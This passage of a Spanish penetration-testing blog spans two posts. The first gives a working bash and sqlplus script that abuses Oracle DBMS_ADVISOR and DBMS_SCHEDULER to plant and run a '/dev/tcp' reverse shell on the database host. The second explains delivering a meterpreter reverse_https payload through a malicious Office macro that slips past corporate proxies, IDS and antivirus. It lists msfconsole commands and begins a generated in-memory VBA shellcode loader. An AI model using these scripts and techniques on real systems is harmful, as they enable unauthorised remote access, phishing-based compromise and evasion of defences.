<span style="mso-bidi-font-family: Tahoma; mso-bidi-font-size: 11.0pt;">DBMS_SCHEDULER:
Como no podría ser de otra forma, tenemos que lanzar el script, para ello
Oracle nuevamente nos ayuda, la idea es ejecutar /etm/octopus.sh</span></div>
<div class="MsoBodyText" style="text-indent: 0cm;">
<br /></div>
<div class="MsoBodyText" style="text-indent: 0cm;">
Veamos
entonces como será el montante final:<br />
<br />
<pre class="brush: js">#/bin/bash
USER=$1
PW=$2
IP=$3
SID=$4
echo "Puerto RevShell"
read PUERTO
echo "IP reverse:"
read HOST
echo "Arranca el listener ej: nc -l -p $PUERTO ...."
read
sqlplus $USER/$PW@//$IP/$SID<<BELCEBU
CREATE DIRECTORY ESTEMISMO as '/tmp';
GRANT read,write on DIRECTORY ESTEMISMO to public;
SET define off;
DECLARE
belce_data clob;
ESTEMISMO varchar2(200);
fich varchar2(700);
BEGIN
belce_data:='bash -i >& /dev/tcp/$HOST/$PUERTO 0>&1';
ESTEMISMO:= 'ESTEMISMO';
fich:='octopus.sh.sh';
SYS.DBMS_ADVISOR.CREATE_FILE (belce_data, ESTEMISMO, fich);
COMMIT;
dbms_scheduler.create_job(job_name => 'lanzador',
job_type => 'executable',
job_action => '/bin/chmod',
number_of_arguments => 2,
enabled => FALSE,
auto_drop => TRUE);
dbms_scheduler.set_job_argument_value('lanzador',1,'755');
dbms_scheduler.set_job_argument_value('lanzador',2,'/tmp/octopus.sh.sh');
dbms_scheduler.enable('lanzador');
dbms_scheduler.create_job(job_name => 'octopusshell',
job_type => 'EXECUTABLE',
job_action => '/bin/bash',
number_of_arguments => 1,
start_date => SYSTIMESTAMP,
enabled => FALSE);
dbms_scheduler.set_job_argument_value('octopusshell',1,'/tmp/octopus.sh.sh');
dbms_scheduler.enable('octopusshell');
END;
/
BELCEBU
Exit
</pre>
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-yKmo4rjyIFw/UGlL1ayFvWI/AAAAAAAAAK0/A7F9VeSxLgE/s1600/oracle1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="http://4.bp.blogspot.com/-yKmo4rjyIFw/UGlL1ayFvWI/AAAAAAAAAK0/A7F9VeSxLgE/s640/oracle1.jpg" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-4z2scPYTk90/UGlL75aW_-I/AAAAAAAAAK8/EFXkw0nuxBA/s1600/oracle2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="195" src="http://2.bp.blogspot.com/-4z2scPYTk90/UGlL75aW_-I/AAAAAAAAAK8/EFXkw0nuxBA/s400/oracle2.jpg" width="400" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-EB3qhhjF9EM/UGlMQ-MbbRI/AAAAAAAAALE/rieytDZZK10/s1600/oracle3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="151" src="http://1.bp.blogspot.com/-EB3qhhjF9EM/UGlMQ-MbbRI/AAAAAAAAALE/rieytDZZK10/s400/oracle3.jpg" width="400" /></a></div>
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><br />
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><br />
<!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" SemiHidden="false" UnhideWhenUsed="false"
QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin:0cm;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Times New Roman","serif";}
</style>
<![endif]-->
<br />
<div class="MsoBodyText">
Como podemos ver hemos obtenido shell en la máquina sobre
la cual corre la base de datos Oracle de la que somos usuario, el único y gran
problema que tenemos es nuestra personalidad en unix, si el usuario con el que
nos conectamos a la base de datos tambien existe como usuario del sistema
operativo, lease el caso típico del usuario Oracle, obtendríamos shell en la
máquina como usuario Oracle y probablemente grupo DBA o similar, pero si el
usuario de la base de datos no existe en el sistema Unix, como en este caso el
usuario “segtest”, al salirnos de Oracle obtendremos shell con usuario y grupo
nobody, la pregunta genérica es ¿Qué podemos hacer para elevar privilegios?
Seguramente tendremos muchas respuestas, pero la pregunta concreta es ¿Podemos
salir y conseguir privilegios con métodos similares?</div>
<div class="MsoBodyText">
<br /></div>
<div class="MsoBodyText">
<span style="mso-tab-count: 1;"></span>Las respuestas
se harán esperar :D</div>
</div>
REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com2tag:blogger.com,1999:blog-694521803021083340.post-43374817986206767082012-08-22T06:15:00.000-07:002012-08-22T06:18:16.331-07:00Ingeniería social con macros de Microsoft Office II<br />
En el anterior post (<a href="http://realpentesting.blogspot.com.es/2012/08/ingenieria-social-con-macros-de.html" target="_blank">ingeniería social con macros de Microsoft Office</a>) vimos como realizar macros para descargar nuestros binarios maliciosos mediante winhttp y ejecutarlos, así como nuestro script vbs para la tarea programada y así crear nuestra backdoor.<br />
<br />
Según la idea del post anterior, en un entorno donde la única posible salida a internet es mediante proxy (como muchos entornos corporativos) esto no funcionaría.Para que esto funcione en una auditoria que nos podamos encontrar con este problema podemos realizar lo siguiente.<br />
<br />
Tenemos dos problemas.Nuestra macro descarga vía winhttp el binario, esto ya no funcionará.Además, nuestros binarios de meterpreter, realizan una conexión reversa al puerto 443 de nuestro servidor, por lo que tampoco funcionará.Desde las macros, podemos utilizar un método de winhttp para configurar el proxy, usuario y contraseña, pero deberíamos averiguar antes esos datos por lo que esta solución no es la mejor.<br />
Suponiendo que el proxy utiliza la autenticación NTLM del usuario logado del dominio (lo más<br />
común..) vamos a utilizar el payload de meterpreter reverse_https , vamos a hablar sobre este payload:<br />
<br />
El meterpreter reverse_https (tambien existe modalidad http) esta diseñado para utilizar en sus comunicaciones el proxy configurado en el internet explorer y el hash ntlm del usuario logado en la máquina.Normalmente en los proxys corporativos si piden usuario y contraseña son del usuario del dominio, por tanto con este meterpreter nos puede solucionar este problema.El motivo de usar https , en vez de http, es por evitar posibles IDS/IPS o proxys que pueden detectar/cortar la comunicación de nuesro meterpreter al detectar el envio de la DLL que realiza el 2º stage del meterpreter, al ir la comunicación cifrada con el reverse_https, evitaremos este problema.<br />
<br />
Veamos en mas detalle como funciona el reverse_https en un entorno corporativo, con proxy e IPS que podría bloquear nuestro 2º stage (incluso el primero) del meterpreter:<br />
<br />
Nota: Tanto el reverse_http como el reverse_https funcionaran aunque estemos en un entorno sin proxy.<br />
<br />
<br />
Se ejecuta el meterpreter en la maquina objetivo , se realiza un connect a https://nuestroservidor:443 , el proxy nos rechaza por primera vez la conexion con un 407 y un mensaje de acceso denegado:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-ZOs1wpXXJBk/UDTZ-wqnKHI/AAAAAAAAAKY/Aaa--71Z2U4/s1600/rever_1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="292" src="http://3.bp.blogspot.com/-ZOs1wpXXJBk/UDTZ-wqnKHI/AAAAAAAAAKY/Aaa--71Z2U4/s640/rever_1.jpg" width="640" /></a></div>
<br />
El meterpreter de nuevo realiza otro GET pero esta vez con el hash NTLM del usuario logado , ahora el proxy acepta la conexion y conectar con nuestro servidor, se puede ver en la captura como se inicia el 2º stage de forma cifrada:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-QFJfKdVCeoc/UDTaVjng8mI/AAAAAAAAAKg/DSiUO2ARiRg/s1600/rever_2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="338" src="http://1.bp.blogspot.com/-QFJfKdVCeoc/UDTaVjng8mI/AAAAAAAAAKg/DSiUO2ARiRg/s640/rever_2.jpg" width="640" /></a></div>
<br />
Tanto el primer stage como el segundo stage del meterpreter, <b>utilizan la API WinINet</b> que es mucho más potente que el winhttp que utilizamos en las macros.Con esta API es de la forma que conseguimos utilizar el proxy de internet explorer y con la autenticación cacheada del usuario del dominio.<br />
<br />
Más info sobre WinINet:<br />
<br />
<a href="http://msdn.microsoft.com/en-us/library/windows/desktop/hh227298%28v=vs.85%29.aspx">http://msdn.microsoft.com/en-us/library/windows/desktop/hh227298%28v=vs.85%29.aspx</a><br />
<br />
<br />
Podemos encontrarnos otros problema aún utilizando el reverse_https y es que el user-agent y la cabecera Server que utiliza por defecto y puede que algún IPS/AV lo detecte ,por lo que debemos cambiar estos parametros a la hora de generar el reverse_https ( o http), esto lo realizaremos más adelante.<br />
<br />
Bien, tenemos una parte solucionada, ahora vamos con la macro de Office.Lo ideal sería utilizar nuestro meterpreter en la macro de Office de forma embedida , para que no tengamos que descargar ningun binario ni tengamos que evitar el proxy tambien en el código de nuestra macro.<br />
<br />
Metasploit nos da la solución, podemos generar el código de una macro que directamente lo que hace es ejecutar en <b>MEMORIA</b> la shellcode del 1º stage del meterpreter, la shellcode estará directamente en el código de la macro.Para hacerlo en memoria y por tanto de forma <b>INDETECTABLE</b> para los antivirus (hasta donde hemos podido ver), utiliza las API de windows de kernel32.dll CreateThread , VirtualAlloc y RtlMoveMemory , de esta forma una vez el usuario acepte la macro se ejecutara en memoria el primer stage del meterpreter reverse_https y el AV ni se enterara.. Una maravilla !!!<br />
<br />
Veamos como hacer esto y como funciona:<br />
<br />
<br />
<div style="background-color: white; font-family: "Courier New",Courier,monospace;">
./msfconsole<br />
<br />
use payload/windows/meterpreter/reverse_https<br />
set LPORT 443<br />
SET LHOST 192.168.1.100<br />
set MeterpreterUserAgent test<br />
set MeterpreterServerName testserver<br />
set SessionCommunicationTimeout 0 # para que intente conectar siempre con nuestro servidor hasta que el proceso muera<br />
<br />
msf payload(reverse_https) > generate -t vba # con esto generamos nuestro codigo con VBA que hemos comentado anteriormente, a continuación el código que genera metasploit:<br />
<br /></div>
<br />
<pre class="brush: js">#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Navbwwi As Long, ByVal Losqlpmw As Long, ByVal Qqf As LongPtr, Zhsj As Long, ByVal Cqrlyq As Long, Agrj As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Acvwhexgo As Long, ByVal Puxbue As Long, ByVal Fxujt As Long, ByVal Pcu As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Hbdyw As LongPtr, ByRef Vzz As Any, ByVal Iynuh As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Navbwwi As Long, ByVal Losqlpmw As Long, ByVal Qqf As Long, Zhsj As Long, ByVal Cqrlyq As Long, Agrj As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Acvwhexgo As Long, ByVal Puxbue As Long, ByVal Fxujt As Long, ByVal Pcu As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Hbdyw As Long, ByRef Vzz As Any, ByVal Iynuh As Long) As Long
#EndIf
Sub Auto_Open()
Dim Igrremhxu As Long, Bbzryy As Variant, Fhggo As Long
#If Vba7 Then
Dim Miuwy As LongPtr, Zvssckpzo As LongPtr
#Else
